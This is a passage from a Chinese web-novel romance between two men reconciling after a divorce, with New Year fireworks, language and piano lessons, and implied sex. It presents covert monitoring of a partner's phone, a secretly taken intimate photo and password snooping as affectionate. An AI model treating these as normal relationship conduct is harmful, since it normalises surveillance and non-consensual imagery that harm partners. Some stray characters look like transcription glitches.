时蔺川睡得很迟。他习惯了短时间的高效深度睡眠,难得一口气睡到中午,只觉得浑身舒畅,刚一翻身便发现怀里空空如也,身旁的床单和枕头也已经失去了温度谢景和不在卧室里。时蔺川起身下床,先拉开房门往客厅里看了一眼,恍然发觉屋外像是被人彻底打扫过,看上去纤尘不染。随即他又回了卧室,推了推浴室的门,果然没推开。“谢景和,你在里面吗?" 下一秒。 里头传出一道应和。 过了半分钟。 谢景和慢吞吞地拉开了门,脸上不带半点困意。时蔺川不知道他是什么时候醒的,拾手提起他的下巴,左右打量了两下他的脸色,“你最近变夜猫子了?还是说,你想考四川动物园的编制?"严格来说,这是两人离婚后,正式交往的第一天,所以时菌川极力控制着自己的刻薄水平,想要展现些许温柔,偏生他就不是什么温柔情种,说话也不中听,只好沉默地接着谢景和的腰,将人往里带本性难移。说的就是他。谢景和还没出卫生间的门,就被他拉到盥洗台边。男人单手刷牙洗脸,另一手则摸着他的腕子,一刻也不放开,仿佛怕他掉头就跑.不多时。水龙头的出水戛然而止。时蔺川洗漱完,脸上尚且带着两分湿意,一扭头便吻上了谢景和的唇,牙膏的薄荷味冰凉清爽,逐渐弥散在这个灼热的亲吻当中。"怎么了?"“谁惹你不高兴了?"谢景和被他吮着下唇,忍不住探出舌回应着男人,一半的他沉醉其中,热情激情,另一半的他却绕着某个疑问徘徊,不敢再靠近一步。他忍不住想道,现在的生活已经很好了。蔺川跟他告了白,两人也开始重新交往。或许在面对某些可能会引发不愉快的旧事上,他不应该纠缠,毕竟过去的事情已经过去了,翻出来也没有什么意义,徒增争论罢了。要知道,翻旧账是伴侣间的大忌。过去三年间。谢景和都是这么想的。只是不知道为什么,他此刻浑身刺挠,压根没法儿忽视心底这阵难言的酸楚,不自觉地指挥着舌尖,将男人的舌推出自己的口腔银丝白两人唇角拉开,崩断。迎着对方稍稍含笑,又暗藏着探究的眸光,谢景和忽然觉得原本只堆积到胸腔的委屈瞬间顶到了他的嗓子眼,句话被推出喉咙他低声问:“在我之前,你有没有谈过恋爱,交过女朋友?时蔺川:“”什么鬼? 时蔺川沉默两秒,应道:“你前两天不是趁我脑子不清楚的时候问过吗?我当初跟你是……”他微妙地停顿了一下,继续说,“以我们两个的频率,我没道理出轨吧。谢景和这个问题听起来很有针对性。“你是不是在网上看到关于我的爆料了?”时蔺川追问道,“然后介意到整个晚上都不睡觉,跑去打扫客厅?"谢景和没说话,只点了点头。这人平时坦率得要命,无论是示爱还是求欢都能脱口而出,偏偏这时候垂着个脑袋,微卷的发梢都有些蔫蔫的,耷拉在他前额,遮住了大半眉眼。像是一个害怕挨训斥的小孩儿。 说完,时蔺川忽觉不对。 他略一思索,明白了。 半晌。 又像是恐惧听到噩耗的患者家属. 看起来有点可怜。 时蔺川抿着唇,忽然不知道该怎么解释。第一,他向来不屑于解释,早些时候还主动往自己身上泼脏水,巴不得谢景和恨他入骨,将他视作心间刺。第二,他大概猜到网上出现了哪些风向,无非是网友将系统按在他身上的“渣男前大哥”过往给扒出来了,然后引中出各种各样的臆想和推测,而营销号为博流量便推波助澜,火上浇油。对于后者,时蔺川毫不在意。可他不能不在意谢景和好歹是他刚谈上的男朋友。于是,时蔺川沉默地上前一步,双手捧起谢景和的面颊,再一次把他的脸拾起来,手下力道有些大,不慎将他的嘴巴挤得撅起来,宛如一只会吐泡泡的大眼金鱼。“啵。"他亲了一口金鱼嘴。思索着自己稍后要讲的话,时蔺川忽然觉得头皮有些发麻,但他转念一想,自己都跟谢景和说出我们交往吧’这种宛如鬼上身一样的话语了再多说几句,似乎没什么差别。在正式哄谢景和之前,时蔺川先一步哄好了自己。下一瞬。他无声地清了清嗓子,用一种看似云淡风轻的声调说道:“你是我的初恋。骗你我是狗。谢景和抿了一下他的金鱼嘴。他的唇纹很淡,经过刚才那一吻,唇微湿,颜色有些艳。时蔺川忍不住又亲了一口,才刚起身,就听谢景和撅着嘴,含含糊糊地说了句话,。时蔺川没听清,手上的力道稍稍卸了两分。 ".不信。” “你本来就很狗,这道誓言没有可信度。 听到这话,时蔺川忍不住陷入沉默。 老实说,他实在不懂谢景和到底是怎么做到——在对他极致沉迷的同时,又对他本人的性格有着格外理性的认知。像是网上说的那样,清醒着沦陷。时蔺川敛着眸,发现谢景和确实被他刚聊说的前半句哄到了,此时正拾手握着他的肘下。小指微微的颤,止不住。他咬了咬牙,凑到谢景和的耳边,哄人的话说得像是威胁,“"如果我刚才是骗你的,我就直接跑到大街上,在人群里仰天大喊“"谢景和我爱你,连续十遍,并且被路人围观录像上热搜,行了吧?谢景和愣了一下。随即,他忍不住撇过脸,笑了。时蔺川的脸白洗了,臭得很。他走出浴室的时候,还报复心很重地抬手掐了一下谢景和,引得对方捂着胸大声呼痛,然后当场碰资般的躺到了他身上。“我哪有这么用力。"时蔺川架着人,冷声冷气地道,谢景和紧闭双眼,睫毛一个劲儿的飞颤,装死的演技真是差到了极点。他嘴巴自顾自地动了起来,“有啊,现在是伤上加伤,你昨晚没动它吗?都肿了。 时蔺川把他拖到床上,质问道: “那你想怎么样?" 谢景和当即应道:“赔我医药费。 紧接着,他拉高衣服下摆。 ".…给我吹一下。" 闻言,时蔺川无比确信,自己是被讹上了。 可他又能怎么办? 躺在床上耍赖皮的那个人是他男朋友。 时蔺川只好承担起筆事者的责任,俯身赔偿对方索要的医药费,还很大方地赔偿了双倍,直至谢景和表示足够,抵着他的肩膀求饶。 这天,两人都错过了早饭。 午饭也姗姗来迟。 饭后,时蔺川趁谢景和不注意的时候抄起手机,想联系裴悦和公关部门控制一下网上的风向,一打开微信便瞧见裴悦的头像顶在首页,边上还有好几个小红点. 时蔺川指尖一点,戳开了两人的对话界面。 【裴悦:老大,你跟谢景和现在什么情况??】 【裴悦:虽然我是他经纪人,但他来找我,居然是为了给你控评??】 【裴悦:OK,帖子处理好了。】 【裴悦:还有.】 【裴悦:老大,你跟你前任两个到底有什么毛病?能不能看看现在几点啊?!怪不得你们能过到一块儿去呢!!】 时蔺川果真看了一眼她发信息的时间。 早晨六点出头。 他想了想,回了一句, 【不是前任,是男朋友。】 152、Chapter 152 尽管既定计划有所改变,但时蔺川仍旧履行了自己对裴悦的承诺,将部分股份与话事权让渡给她 事情发展得很顺利,毕竟他此前三年没有公开露过面,向来是裴悦当明面掌柜 交接过程很迅速。 裴悦满意地收下文件,两人之间公事公办的气氛一扫而空,她长呼一口气,调笑着道:“放心,我会好好照顾你男朋友的。 时蔺川眼也不抬:“嗯。 其实谢景和也不需要她怎么照顾,当初他跟NO1签署的经纪合约自由度极高,再加上自身名气大, 不缺优质的影视邀约。 忽然,裴悦挑着眉问: “老大,你戴隐形眼镜了?看起来好像比之前顺眼多了。" 听到这话, 时蔺川开口应道: “没戴,视力矫正了。“ 说完, 男人站起身来,西装剪裁立体简约,线条很流畅。裴悦以为他会干脆利落地走人,没想到… 男人只是站在原地,腰背挺直,他单手插兜,另一只手伸到她身前, “一直以来,合作愉快。" "你是一个很优秀的商业伙伴。 裴悦愣了一秒,随即也站起身,与男人握手,明艳的脸上是恣意飞扬的神色,“虽然你这人有时候挺狗的,但是.… “合作愉快。” 正当裴悦还想闲聊几句,男人却在她之前开了腔,“走了,他在车里等我。 这个“他’是谁,不言而喻。 裴悦满脸无语地睨着男人快步往外走的颀长背影,片刻后,忍不住噗地一声笑了出来 就在这时。 办公室门口冷不丁探出一张年轻俊秀的面孔,颇为怨念地冲她道: "工作完了没?明天就是除夕了,你答应过今年要跟我回家的!" “我怎么找了你这个工作狂啊! 裴悦冲年轻男生招了招手,一把将人抱住,忍不住感慨道:“宝贝,我才哪到哪儿啊?你是没见过真的工作狂。 简直了。 在那人的衬托下,裴悦时常觉得自己不够努力,居然不能做到工作恋爱两把抓,两手硬? 还是太菜! 随即,恋人不满意地质问: “那你让我见见?" 裴悦陡然沉默:“. 人刚走,婚刚离,恋爱刚谈上。 到底怎么做到的? 砰的一声。 时蔺川坐电梯抵达负一层地下车库,坐进副驾驶座后,利落地扣上车门。 车内开了暖气。 谢景和一身保暖休闲装,橘红色的毛衣衬得他肤色白皙透亮,见他上了车,迫不及待地问:“我们回家吗? 车后座放了个小行李箱。 时蔺川扭头看了一眼,又瞥了一眼始作俑者,淡声道:“你说呢?" 谢景和抿唇笑笑,当即打着方向盘启动车辆,一路上絮絮叨叨,说过年给助理放了个长假,包了多少红包,又买了多少菜,家里已经打扫好了 都是些琐碎事情。 时蔺川听着他报账似的念叨,偶尔嗯一声,窗外的风景齐齐倒退,唯独他与谢景和往前驶行。 明天就是除夕了。 街上张灯结彩,谢景和开车带他回家。 铜城今年很热闹。 市政府耗资两百万,将在城北龙洲广场举办一场守岁跨年的烟花大会。 夜幕广袤。 气势磅礴的花火从除夕晚十一点半炸到了零点,龙洲广场人山人海,时蔺川与谢景和全副武装,淹没在人群中。 天气寒冷,人潮热烈。 周围大多是拖家带口的一家子,也有单独跑出来约会的年轻情侣,两人站在里头并不突兀。 咻啪的响声不绝于耳。 绚丽斑斓的焰光明明灭灭,宛如星河坠落,撒遍弯幕 临到尾声。 人群中举起无数只握着手机的手,录像的录像,拍照的拍照,所有人不约而同地高声大喊:“新年快乐,新年快乐——!" 还有人夹带私货,仰天告白。 人群顿时哄笑起来,紧接着七嘴八舌地掀起告白浪潮。 倏然间。 时蔺川听到有一道声音高呼道:“新的一年,让时蔺川和谢景和复婚吧!" "对!!" 时蔺川下意识看向身边的人,不出意外地撞入一双潋滟的眸中。谢景和笑得眉眼弯弯,眼下的卧蚕很可爱 他正挎着白己的胳膊,另一只手举着杯热奶茶,吸管从口罩底下伸进去。 如初见。 时蔺川把脸凑过去。 谢景和便主动给他喝了一口,下一秒就听男人说:“好难喝,糊嗓子。 "你这人真讨厌。" 时蔺川报复心切,直接猛嘬一口,把谢景和的奶茶喝了个精光,就给他剩了几粒沉底的添料。 谢景和:“!” 这还是时蔺川第一次喝奶茶,曾经与谢景和交往期间,他给对方送过数几次,自己却不喝,也拒绝谢景和递过来的吸管。 理由很有说服力。 他喝惯了咖啡,不爱吃糖。 刚才也只买了一杯。 时蔺川费劲巴拉地咽下甜腻饮料,觉得偶尔喝一次也还行,尤其是搭配着谢景和郁闷地嘬珍珠的表情.… 还挺解腻。 待到零点,谢景和躲进男人怀里,掏出手机发了条贺岁微博,配图是摆满餐桌的丰盛菜肴。他们俩儿一起做的。 【一切安好,新年快乐[图]】 没几分钟,转发量就起来了。 时蔺川贡献了一个,动作间被怀中人发现,引起了对方的好奇心。 他却施施然收起手机,不给看。 于是,两人幅度很轻微地拱来拱去,一路拱出了人群,来到一个隐匿在暗处的花坛处。 谢景和有理有据:“你之前往我手机里装监控,我都没跟你计较,现在我只是想看一眼,你都不让,不公平! 说完,他停顿两秒,又问道: "….等等,你现在还在用监控吗? 时蔺川嗯了声,没有一丝丝心虚。 谢景和也不是太生气,只是一个劲儿地据理力争:“那你也让我看。 这人以前不忌讳自己看他的手机,却从来不要求时蔺川把自己的手机也给他看,如今倒是第一回。 时蔺川挑了挑眉:“什么情况?你觉得我是讲公平和道理的人吗?” 谢景和顿时无言以对。 两秒后。 时蔺川就见谢景和举起手机,冲自己亮出屏幕,点开了相册里的某一段录像。 镜头里,男人半闭着眼,嗓音沙哑。 “蔺川,我能过去找你吗?" 听到这声儿,男人掀起眼皮,久久地注视着镜头的另一端,脸上的表情让时蔺川头皮发麻,紧接着他张开嘴巴 时蔺川黑着脸:“删掉! 谢景和于持“机质’,警惕道:“你给我看手机,我就删掉。 时蔺川面若冰霜地递出手机,咬牙切齿地质问:“你现在学会跟我耍心眼了?" 谢景和沉默片刻,应道: "跟你学的。” 拿到男人的手机,谢景和率先点开了相册,发现里面有个私密相册,输了几次密码也没猜对,只好询问男人, “里面是什么啊?” 时蔺川冷哼一声, “你的裸-照。 谢景和默了默,半信半疑之下,没问男人是真是假,或是什么时候拍的,只小声确认道:"你的手机安全吗?如果真的有这种照片,我不想给别人看到。 话毕,他还补充道: “我不太上镜。" 意思是,他本人比镜头里好看一点。 以及 他只愿意让时蔺川一个人看。 时蔺川觉得谢景和挺牛的,恋爱脑成这样也是世间罕见。 这人在其他场合都表现得很正常,偏偏一对上自己,似乎就有哪根筋搭错了,给出的反应堪称离谱。 时蔺川验证过无数次了。 他注视着谢景和的侧脸,见对方孜孜不倦地猜密码,忽然曝出一串数字。 听起来像某个人的出生年月日。 谢景和如此想着,也问出了声。 烟花大会落幕,四周的人群散了些,但仍旧热闹,笑声传到两人所在的角落,听起来像是隔了一层。 男人淡然地望着他,忽道: 我的。" 话音刚落。 谢景和神情微愣,很快又回了神,一边低头输入密码,一边低声问道:“你身份证上不是这个生日。 按照身份设定,时蔺川出自福利院,跟谢景和一样不清楚自己的真实出生日期。 身份证上的生日,则是福利院院长依照每一个身份信息不明确的孩子的入院日期来填写的。 时蔺川只道:“那你现在记住这个。“ 谢景和抬头看了看他,半响,无言地点了点头,相册随之解锁,显示出被封缄的图像。 男人没说谎。 真的是他的裸-照。 照片里,环境昏暗。 他睡得很香甜,光溜溜的肩露在被子外面,脑袋靠在男人的胸膛上,哪怕是在睡梦当中,姿态与神情都极尽依恋。 男人只有下半张脸入了镜。 薄唇轻合,喉结凸起,很性感。 谢景和问他, “拍这个干嘛?我脸都睡歪了。 良久。 时蔺川语气平直地说:“拍你丑照,回头发到网上黑你,说你跟男人乱搞,让你身败名裂。 老实说,他已经忘了当时自己是怎么想的了,可能,大概,也许.… 只是觉得谢景和刚被他。完的模样,还挺带劲的吧,然后手就自己动了。 不受控制。 听着这道解释,谢景和表情无语。 不知为何,他有些面红耳赤,还有些心神不宁,只好捧着手机胡乱地点,最后点进男人的微博账号,翻了半天,转发了自己刚才发的博文,留言道” 哼。” 时蔺川学着他,也哼了一声。 紧接着,他熟练且准确地输入密码,打开了谢景和的手机去,眼疾手快地删掉了那段录像。 下一秒。 谢景和炫耀似的弯了弯眼,说:“我已经上传到网盘了,哈哈,我跟你说,我现在机智得不得了! 时蔺川笑而不语。 就他那串网盘密码,防得住谁? 反正防不住他。 很快,春节就这样溜走了。 谢景和刚拍完一部电影,又参演了一档综艺,期间还受伤骨裂,顺势进入了长期休假的状态。 时蔺川却忙得不行,一天有大半的时间待在书房里远程办公,谢景和偶尔进来给他送水果,警见电脑屏幕上的通篇外语 陷入沉默。 数天后。 时蔺川突然听到他问自己, 彼时,两人刚洗完澡,正要睡觉,时蔺川将他掀倒,淡声道:“报什么班啊?我可以教你。 他先是摸了摸谢景和的脑袋,吐出一个单词,随后是眼鼻嘴,一路耐心教导,不顾谢景和本人的抗议。 “这些我还是知道的!" 时蔺川盯着他冒火的双眼,以自身为示范,提问道:“那你知道这个叫什么吗? 紧接着,男人冷冷地吐出一个单词。 "Suck."”…教练,我想学正经英语。 “先交学费。” 好在谢景和最终还是得偿所愿,学到了正经英语。 翌日下午。 男人出了书房,手里是一摞装订好的打印纸,然后把他揪到桌前 “不是想学吗?" 学到一半,谢景和问他, “如果我想学法语呢?你也能教?" 然后数菜名一样报了一堆语种名称。 时蔺川把批改完的英语测试题推到他面前,用笔帽点了点满地开花的卷面,“我能教,但你确定自己.?" 他没说完。 言下之意却很清楚。 谢景和:“你是不是在笑话我?" 时蔺川淡定反驳:“我忍住了。 谢景和瞥了眼卷头分数,脸有点热。 又过了几天。 时蔺川坐在书房电脑前,忽然听到楼下传来断断续续的钢琴声。他捧着空掉的玻璃杯,下楼一看 客厅一角被打扫出来。 多了一架显然价格不菲的三角钢琴。 谢景和正坐在琴凳上,指头一下一下地按着琴键,敲出一首几乎不成调的《小星星》 时蔺川倚在扶梯旁,神色莫名,食指指尖也一下下地敲击杯壁。 不多时。 5E作工上 M AA 时蔺川为他鼓掌。 “挺好的。" “跟你的脚一样灵活。 153、Chapter 153 客厅通往院落的门大敞着 午后的阳光微黄,被花叶与树荫裁剪成了崎岖的形状,边缘细碎却连成一片,顺着木质地板爬到谢景和的脚上。空气里,细小的尘埃在日光中透亮时蔺川站在楼梯中段,居高临下地凝视着坐在琴凳子上的人,没问他最近怎么想一出是一出,而是慢踱着步上前。“嗒。时蔺川满不在乎地将空玻璃杯放在钢琴的侧边顶盖上,眼皮半敛,就见谢景和仰着脑袋盯着自己瞧,面庞被阳光晒得明亮晃眼,“我吵到你了吗?"说着,他侧过身,双臂环上男人的腰,同时将下巴支在对方的腰腹处,时蔺川顺手摸了摸他的面颊,手掌习惯性地滑到他的后脖颈,不轻不重地掐了两下,“刚好出来倒水,听到你在楼下叮叮咚咚。“你刚才是不是笑话我?"谢景和的手探进他的衣服下摆,指尖很轻柔地捏住一块皮肤,仿佛只要男人一点头,或者回答一个是’字,他就会狠狠报复。凶得很 惹不起。可时蔺川也不是吃素的。他捏住谢景和的脖子,手指一下下地按压对方后颈的那颗骨,态度强势,还透出几分难以言喻的暖味,宛如一头宣示主权的雄狮谢景和果然被他捏得浑身发软,眸光恰似一汪荡漾碧波,抿起的唇不自觉启开一条缝,看上去像是在索吻.时蔺川颔着首,偏了偏脑袋,嘴角挂着一抹很浅的笑,嗓音有些低,听得人耳热.“刚才没有,现在确实是在笑你。"笑他没定力。男人的眼一勾,他的魂就要跑谢景和听懂他的意思,有些想反驳,却舍不得挣开男人扣在后颈的温热掌心,甚至还想要索求更多,只好闷声歇菜他就是不争气,只能认,两人离婚有一阵子了。交往也有一阵子了。跟此前的三年婚姻相比,这段时间并不长,但两人的相处模式有了很大的变化一-有时候因为一点小事就拌嘴,打打闹闹,转头却又吻在一片,黏糊得不成样子。挺有病的。堪称双向奔赴的病情。这场恋爱谈得实在太热闹了,像有四个人。时蔺川深切地认为,自己跟谢景和能发展到这一步,谁都不无辜。他躬身在共犯的眸下轻吻了一下,又扬了扬下巴,示意道:“坐过去点。"闻听到这话,谢景和仿佛想到了什么,以往还要赖一会儿,此刻却乖乖放开手,很主动地往旁边坐了坐,让出双人琴凳的一半位置。时蔺川从善如流地坐下玻璃杯壁挂着水珠,光线被折射,在漆黑的琴面落下一道缩小版的彩虹光量,时蔺川看着这道彩虹光,被修正的视力不再模糊,冷峻英挺的五官也再无遮掩,出挑过人,坐在谢景和这位靠脸吃饭的艺人身边,也丝毫不逊色。跟谢景和自然又随性的姿态不一样,男人坐下后,仪态发生某些细微,但确实存在的变化。谢景和说不出来,只觉得此时此刻。男人理应坐在金色大厅的台上,周围或站或坐着跟他一样气质出众的演奏家。开场前的空气大概很安静,又带着莫名的火热。台下观众的视线都落到他身上。 移不开眼。 刹那间,谢景和的脑子里冒出几个字。 黑天鹅。 男人宛如一只高傲且贵气的黑天鹅,姿态优雅极了,每一片羽毛都丰润完美,闪闪发亮。 跟自己不像是一个世界的人。 谢景和的脑海中再次划过这道念头。 ….挥之不去。 老实说,时蔺川现在的心情有点复杂。 比起从前掩耳盗铃般的行径,谢景和如今跟自己在一起,表现得放肆了许多——敢问、敢说、敢试探,还敢翻看他手机了。 偶尔,还带着淡淡的试探。 谢景和在镜头前的演技足以上教科书,可在他面前,这些天赋似乎都成了徒劳。时蔺川第一时间就察觉了对方的异样,仔细复盘后 异常是从系统解绑后开始显现的。 大概率并非意外。 于是,时蔺川隐约有了一个猜测。 他以为自己会故态复萌。 可到头来,他居然只感到一阵难言的刺激与颤栗,甚至有种头皮发麻的感觉 一仿佛一座从未对人开放的迷官,荒废了许多年之后,终于等到一位前来探险的勇者,期待又抗拒着他的闯入。 忍不住纵容,忍不住给出线索, 时蔺川坐得挺直,余光瞥见谢景和对自己一如既往的迷恋神色,他神色平静,淡然询问: "今天又想学钢琴了?" 谢景和默不作声地抬起左手,用食指在琴键上一下下地按戳着,敲出几个清脆的音阶。 毕竟是演奏级的钢琴,音色极好。 ''嗯 一股异样的氛围弥散开来。它不是坏的,显露出几分莫名的焦灼,非要形容的话.….类似于两个互有好感的人刚刚络结了一段亲密关系,对彼此感到陌生,便下意识地想要靠近与探究。两人或许都心知肚明,却不约而同地选择了放纵,任由它发生,并期待着它发生。无论它是什么。时蔺川只是随口调侃一句,也不是非要谢景和说个一二三四五出来,自顾自说完,便握住他的左手,教导他弹奏出几组简单和弦由于某个角色需要,谢景和曾经粗浅地学过几天钢琴,不过也就入个门的本事。但记个和弦,还是没问题的。午后两三点的风是懒洋洋的,一个跟斗跳到院落里,施施然地在客厅逛了个来回,仿佛只是来看个热闹,黑白琴键上,是两只交善的手。盖在上面的那只手肤色看起来更白一些,从小臂到腕骨,再到手背,指节,每一处都透着莹润的光泽,宛如上好的白玉片刻后。这只手移开,露出底下那只。谢景和的手形很好看,只不过他出身不好,在很小的年纪便要学着照顾自己,有时还得做些杂活儿,后来长大了,更是干了不少兼职。其中大多是体力活。直到他进入娱乐圈,情况才开始好转。然而演戏这个行当也不轻松,时常需要风吹日晒,因此他的肤色比男人深一些,手部的细纹也多一些。时蔺川收回视线,指挥着谢景和开始弹奏,下一秒自己的双手也在琴键上来回移动,修长骨干的指节曲折舒张,指尖轻落谢景和被男人带着,一下下按响和弦。不多时。曲极为复杂的《小星星变奏曲》自两人指下涌出来,男人负责弹奏主旋律,以及高难度的变奏部分,手指翻飞不停,几乎划出残影。衬得另一人像是来打酱油的。谢景和确实是。他的大半注意力落在身边的男人身上。时蔺川近距离感受着这道熟悉的,如有实质的视线,后脑的某个地方似乎正微微发热,逐渐蔓延到脊骨,臂肘,指尖。指尖摩擦琴键,也发烫。在某种预感的影响下,他弹错两个音。好在谢景和听不出来。不算丢脸。 一曲毕,时蔺川扭过脸,警着身边这个不知道是看呆了还是听呆了的家伙,缓缓开口道: “还满意吗? 闻言,谢景和神情变得怔忪。 过了好一会儿。 他扯着男人的衣袖,低低地问:“蔺川,如果我也想像你一样,弹得这么好,要学多久啊?"说话时,他的手指不自觉揪着堆积在男人肘间的衣服绒线,一个不甚,揪出了一个线头,沉默两秒后,佯装无事发生地往里塞了塞.时蔺川将此情景尽收眼底,也不揭穿,只静静思索了许久,给出一个符合实际的答案。“可能要等下辈子吧。”见谢景和一下子抬头看过来,眼神半是警惕半是怀疑,想辨别自己是不是又想要用话臊他。于是,时蔺川面不改色地补充道:“童子功。“要从小练,没什么意思。 谢景和看了他很久,神情有一瞬的彷徨,最后只点了点头,抿唇道:“哦。 四目相对之际, 谢景和第一次率先移开了视线。 时蔺川:". 然而,正当他想起身上楼的时候,这人忽然往他身边靠了靠,将两人之间本就不多的距离缩短至近乎于无,然后又把脑袋搭靠在他肩头。 半晌。 谢景和极轻、极轻地道了声 “蔺川,你好像什么都会。 “真厉害。 时蔺川觉得这人的脑袋沉得像一块石头,把自己压得动弹不得,心脏却充气似的快要飘起来,便拾手弹了一段即兴旋律。 谢景和在他耳边小声地''哇’ 啧。 没见过世面。时蔺川真的很久没弹琴了,技艺生疏,更何况肩上还有谢景和这个负累。他一连弹了几曲才找回手感,而这个石头脑袋已经开始点歌了。日头渐往西移。阳光的颜色变得浓郁,似橘子汁水。谢景和连听带看的,馋得不行了,熟练地向时蔺川提出申请,“教练,我想学钢琴!真的!男人弹累了,睨他一眼,悠然地站起身,捏起被自己冷落了许久的空玻璃杯,往摆放着咖啡机的桌柜走去他边走,边说, “可以啊,先交学费。 谢景和皱了皱鼻子,为自己正名, “我是正经想学。” 时蔺川回过身,表情冷峻淡然,说话的语调也是平直严肃的,如果身上穿的不是居家服,而是一身西装的话,大概可以直接走上公共讲台,对着麦克风,发表演讲了。 男人的讲话言简意赅。 他说, “我也是正经想。你。” 当晚,两人顾不得吃晚饭,把一楼客厅搞得乱糟糟的,沙发和钢琴都没有幸免于灾。时川觉得谢景和叫得比钢琴还要动听,还坏心眼地点评道 “你适合学声乐。" 听到这话,谢景和臊红了脸。 他上身的衣服穿得格外整齐,坐在双人琴凳的中央,十个音阶只按对了一个。 男人抱着他,双手卡在他的腰侧,肌肉撕裂伤似乎已经完全复原了。 "呜 “我不学了,不学了." 这夜的尽头。 谢景和刚从浴缸里出来,便支着一瘸一拐的残躯,当着男人的面,扔掉了他当天穿过的,被自己弄脏的衣服, 丢掉黑天鹅的羽衣。 他就飞不走了。 谢景和心满意足地缩进男人的怀中,腰上全是对方的指印,小声念叨着 “你还没有教会我,哪儿都不许去。 时蔺川颔首看着他仍旧泛着薄红的面颊,按下吹风机的启动键,于呼啸的热风中,凑到这人的耳边,重复了一遍自己说过的话。 “可能要等到…" “下辈子吧。” 毕竟学费都收了。 还能怎么办? 咬咬牙,一辈子很快就过去了。 154、Chapter 154 时蔺川发自内心地认为 ''谈恋爱’这一行为,可以看作某种相当棘手的病症,不仅扰乱着人的心,还将患者对时间流速的感知一同扭曲了 二楼书房内。 男人坐在桌前,电脑屏幕显示着数份分析资料,而按照他往常的工作效率,这些内容应该在两个小时之前就完成,偏偏拖到了现在,他还莫名感到几分焦躁与不耐烦。 总感觉今天已经工作了许久。 …怎么还有? 时蔺川抬手捏了捏鼻梁,有些坐不住。 就在这时候。 被他放在鼠标旁边的手机屏幕突然亮了起来,伴随着震动,来电铃声几乎是同一时间响起来,是一曲演奏水平很普通的钢琴. 屏幕显示着来电联系人的姓名。 时蔺川当即扭脸看过去。 是裴悦。 ".”时蔺川的表情没有一丝丝变化,只是盯着那个备注名看了两秒,然后手指一划,点开了公放,“什么事?" 屋中寂静。电话那头的女声深知这人的脾性,开门见山地道:“老大,我需要你,能不能回来管管事儿?我真的觉得自己快要猝死了."自时蔺川兑现承诺到现在,已经过去了好几个月。冬天早就褪下了棉衣,换上春季的花裙子,眼见日子一天比一天热,忍不住跟其他人一样打起了遮阳的伞绿荫浓密,在燥热的风中飒飒作响。夏天就快要来了。“这么大个公司,我一个人实在忙不过来,前阵子老程负责跟鼎光合作那档子事,结果好家伙.…”裴悦还在那头说,“现在我还在收拾他惹出来的烂滩子呢。“公司要是亏了钱,你的分红也受影响不是?时蔺川最近本来就觉得当前的工作量似乎过于多了,正在考虑给自己减减负,自然不会再往身上揽了,但出于某种考量,他没有直接把话说死,而是很随意地应了声,“听说了。 电话那头沉默片刻。 裴悦大概以为他想推拒,话锋一转,忽然问道:“对了,你跟谢景和最近怎么样?他去年拍的那部电影马上就在暑期档上映了,现在忙着跟剧组进行路演宣传呢,还要上两档综艺 “挺忙的吧?" 听到这话,时蔺川的脸色变得有些臭。 裴悦还在说, “你们不是在搞行为艺术,啊不是…不是在重新谈恋爱吗?同居恋爱有什么意思啊?办公室恋爱才叫刺激,来呗。 裴悦的嘴皮子很利索。 时蔺川跟她聊了近十分钟才挂电话,最后没做出确切回复,只说自己考虑一下。见屏幕跳回桌面,他的手指自动寻路一般点开了微信,戳开了置顶的那个头像,动作异常熟练。 对方的最新信息是一句很简短的文字。 【上飞机了,预计下午四点到家!【飞吻]】 时蔺川顺势扫了一眼屏幕右上角显示的时间。 此时此刻。 才下午两点出头。 他忍不住翻转了两圈手机,机身呈黑曜石色,线条流畅,整体看上去很有设计感,是这个月初该品牌推出的最新款, 时蔺川买了两个,一黑一白。 他跟谢景和一人一个,刚刚好。 把手机送给谢景和的时候,是某天晚上, 那天的时间还早。 两人提前洗完澡,一同去了趟书房。 时蔺川照常陪谢景和学英语,不过这人进步飞速,现在已经不需要他时刻看着了,以至于他只能百无聊赖地坐在一边翻阅对方刚打印出来的剧本,目光停留在谢景和用荧光笔做的一条条笔记上。他看不到自己的表情,只觉得心情莫名平和。原以为谢景和提出的学英语只是试探之语,时蔺川没想到他真的坚持了下来,几个月过去,他接过谢景和递过来的测试卷,手持红笔画圈圈的次数已然少了许多。作为奖励,时蔺川从书桌抽屉里取出手机盒,推了过去。见谢景和从盒中翻出崭新的白色手机,当场就要把自己的卡从旧手机里换过去,时蔺川凝视着他轻轻抿出一道弧度的唇角,忽然道:".手机里,没装定位监控。” 话音刚落。 谢景和愣愣地抬起头,与他对视许久,眼睛一眨一眨,仿佛有粉色的小花从里面掉出来,扑了时蔺川满脸 时蔺川忍不住凑过去,亲了亲他的眼尾。谢景和也不知道脑补了什么,一个劲儿地小声闷笑,还将手机握得很紧,指尖微微泛白。时蔺川被他笑得稍显不自在,只好将落于眼尾的亲吻转移到这人的唇舌之间,力道也发了狠,而谢景和回应得更加热烈,径直把简单的亲吻演变成一场火热激烈的情事试卷不堪蹂躏,皱成一团,脏了个彻底。 回忆一闪而过。 此刻的时蔺川却有些后悔了。 尤其在手指不受控制地又一次点进微信聊天界面之后,这股后悔发酵得愈发汹涌,可若是时间能倒流,他大抵还是会做出同样的决定,这么做,没有什么特别的原因。 时蔺川只是忽然觉得 没必要了。 时间刚刚翻过三点。 日光仍旧明媚,时蔺川端着空杯子下楼,另一只手举着手机,界面显示着他刚刚播出了的号码与''? 打头的备注名。 算算时间,谢景和也差不多下飞机了。 铃声响了半分钟,没人接。 下一瞬。 “叮咚叮咚 门铃骤响。 时蔺川循着声望过去,不自觉地挑了挑眉,当即放下杯子,慢踱步过去,只是他的腿太长,几步就迈到了门边,手一拾就打开了安装在墙上的可视化门铃屏幕。 屏幕里的画面清晰度很高,镜头俯视,将门前的景象清楚明白地呈现在门内的时川面前。 个人站在门口。 